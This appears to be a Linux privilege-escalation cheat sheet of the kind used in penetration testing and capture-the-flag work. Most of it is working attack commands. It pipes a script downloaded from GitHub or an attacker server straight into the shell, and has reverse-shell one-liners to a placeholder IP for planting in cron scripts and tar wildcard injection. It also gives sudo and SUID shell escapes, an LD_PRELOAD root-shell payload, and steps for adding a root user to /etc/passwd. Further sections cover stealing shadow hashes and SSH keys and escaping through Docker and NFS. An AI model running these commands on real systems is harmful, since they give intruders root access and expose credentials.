🎯 Privilege Escalation Methodology
Enumerate
LinPEAS/Manual
Identify
Misconfigs
Research
GTFOBins
Exploit
Get Root!
Automated Enumeration (Run First!)
LINPEAS
Best all-in-one
Download and run directly
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
From your attack server
wget http://<IP>/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
Save output to file
./linpeas.sh -a 2>&1 | tee linpeas_output.txt
PSPY
Process monitor
Watch processes (find hidden crons)
./pspy64
# Watch for processes run by root (UID=0)
EXPLOIT SUGGESTER
Linux Exploit Suggester
./linux-exploit-suggester.sh
# Or run with kernel info:
./linux-exploit-suggester.sh --kernel 5.4.0
Pro Tip
LinPEAS highlights findings in colors. Red/Yellow = high interest. Always review the full output!
Basic System Enumeration
Current user & groups
id
Username & hostname
whoami && hostname
KERNEL
Kernel version - check for exploits!
uname -a
OS version & distribution
cat /etc/os-release
cat /etc/issue
cat /etc/*-release
All users
cat /etc/passwd
Password hashes 🔥
cat /etc/shadow
Users with shell access
grep -v "/nologin\|/false" /etc/passwd
Environment variables
env
echo $PATH
Running processes
ps aux
ps aux | grep root
Network connections
netstat -tulpn
ss -tulpn
🔑
Sudo Exploitation (Check First!)
MOST IMPORTANT
List sudo permissions
sudo -l
Look for NOPASSWD entries - instant win!
Sudo version (CVE check)
sudo -V
# Baron Samedit (CVE-2021-3156) if < 1.9.5p2
# CVE-2019-14287 if < 1.8.28
COMMON EXPLOITS
sudo vim → shell
sudo vim -c ':!/bin/bash'
sudo find → shell
sudo find . -exec /bin/bash \; -quit
sudo awk → shell
sudo awk 'BEGIN {system("/bin/bash")}'
sudo nmap → shell (old versions)
sudo nmap --interactive
nmap> !sh
sudo less/more → shell
sudo less /etc/passwd
# Type: !/bin/bash
ENV ABUSE
LD_PRELOAD exploit
# If env_keep+=LD_PRELOAD in sudo -l:
# Create shell.c:
#include <stdio.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/bash -p");
}
# Compile and exploit:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_command>
Found a binary in sudo -l?
Check GTFOBins for exploitation techniques!
SUID/SGID Binaries
Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
Find SUID with details
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
Find both SUID and SGID
find / -perm -6000 -type f 2>/dev/null
COMMON SUID EXPLOITS
cp (SUID) - overwrite /etc/passwd
# Generate password hash:
openssl passwd -1 password123
# Add to /etc/passwd: root2:HASH:0:0:root:/root:/bin/bash
cp /tmp/passwd /etc/passwd
bash/sh with SUID
/path/to/bash -p
# -p preserves effective UID
Note
Compare SUID list against default system binaries. Custom or unusual SUID binaries are often exploitable.
Linux Capabilities
Find files with capabilities
getcap -r / 2>/dev/null
Dangerous capabilities:
cap_setuid
cap_setgid
cap_dac_override
cap_sys_admin
cap_sys_ptrace
cap_net_raw
EXPLOITATION
Python with cap_setuid (+ep = privilege everything)
# Python 3:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Python 2 (set both gid and uid):
python2.6 -c 'import os; os.setgid(0); os.setuid(0); os.system("/bin/bash")'
Perl with cap_setuid
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
Pro Tip
Look for +ep in getcap output - this means "effective privileges everything" and is exploitable!
Cron Jobs
System crontab
cat /etc/crontab
Cron directories
ls -la /etc/cron.*
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/
Check cron logs (discover hidden jobs)
grep "CRON" /var/log/syslog
grep "CRON" /var/log/cron.log
My crontab
crontab -l
Systemd timers
systemctl list-timers
EXPLOITATION
If cron script is writable
# Add reverse shell to writable cron script:
echo 'bash -i >& /dev/tcp/<IP>/4444 0>&1' >> /path/to/script.sh
Wildcard injection
# If cron runs: tar czf /backup/backup.tar.gz *
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo 'bash -i >& /dev/tcp/<IP>/4444 0>&1' > shell.sh
PATH Hijacking
Check current PATH
echo $PATH
EXPLOITATION
If SUID binary calls relative command (e.g., "ps")
# Create malicious "ps" in writable directory:
cd /tmp
echo '#!/bin/bash
/bin/bash -p' > ps
chmod +x ps
# Prepend /tmp to PATH:
export PATH=/tmp:$PATH
# Run the SUID binary:
/path/to/suid_binary
Find binaries calling relative commands
strings /path/to/suid_binary | grep -E "^[a-z]"
Writable Files & Directories
World-writable directories
find / -writable -type d 2>/dev/null
Writable files in /etc
find /etc -writable -type f 2>/dev/null
WRITABLE /etc/passwd
Add root user to /etc/passwd
# Generate password hash:
openssl passwd -1 password123
# Add new root user:
echo 'hacker:$1$xyz$hashhash:0:0:root:/root:/bin/bash' >> /etc/passwd
# Switch to new user:
su hacker
Files owned by current user
find / -user $(whoami) -type f 2>/dev/null
Password Hunting
Search for passwords in files
grep -r "password" /var/www 2>/dev/null
grep -r "password" /home 2>/dev/null
grep -ri "pass\|pwd\|passwd" /opt 2>/dev/null
History files
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat ~/.mysql_history
Configuration files
find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null
cat /etc/apache2/sites-available/*.conf
cat /var/www/*/wp-config.php
SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null
cat /home/*/.ssh 2>/dev/null
# Set proper permissions before using:
chmod 600 id_rsa
System-wide password search (intensive!)
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2>/dev/null
UNSHADOW
Combine passwd & shadow for cracking
# Copy files to attacker machine:
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt
# On attacker - combine for john:
unshadow passwd.txt shadow.txt > unshadowed.txt
john unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt
NFS Shares (no_root_squash)
Check for NFS exports
cat /etc/exports
# Look for no_root_squash
Mount NFS share from attacker (as root)
# On attacker machine:
showmount -e <TARGET_IP>
mkdir /tmp/nfs
mount -o rw <TARGET_IP>:/share /tmp/nfs
# Create SUID binary as root:
cp /bin/bash /tmp/nfs/
chmod +s /tmp/nfs/bash
# On target:
/share/bash -p
Docker Escape
Check if user is in docker group
id | grep docker
groups
INSTANT ROOT
Mount host filesystem in container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Alternative - get root shell
docker run -v /:/host -it ubuntu bash
chroot /host
Check for LXD group
id | grep lxd
# Similar exploitation possible with LXD
Warning
Being in the docker group = root access. This is by design, not a vulnerability!
Kernel Exploits (Last Resort)
Get kernel version
uname -a
cat /proc/version
Notable Kernel Exploits:
DirtyPipe CVE-2022-0847 (5.8 - 5.16.10)
DirtyCow CVE-2016-5195 (2.6.22 - 4.8.3)
Polkit CVE-2021-4034 (pkexec)
Baron Samedit CVE-2021-3156 (sudo)
Full system info for exploit research
uname -a
uname -r
cat /proc/version
cat /etc/issue
Compile exploit on target
gcc exploit.c -o exploit
# Static compilation (if needed):
gcc exploit.c -o exploit -static
Exploit Resources:
Warning
Kernel exploits can crash the system! Use only as a last resort and always have a backup plan.
Privilege Escalation Checklist
□ sudo -l - Check first!
□ SUID/SGID binaries
□ Capabilities (getcap)
□ Cron jobs & timers
□ Writable /etc/passwd
□ PATH hijacking
□ Docker/LXD group
□ NFS no_root_squash
□ SSH keys readable
□ Passwords in files
□ Password reuse for root
□ Kernel exploits (last)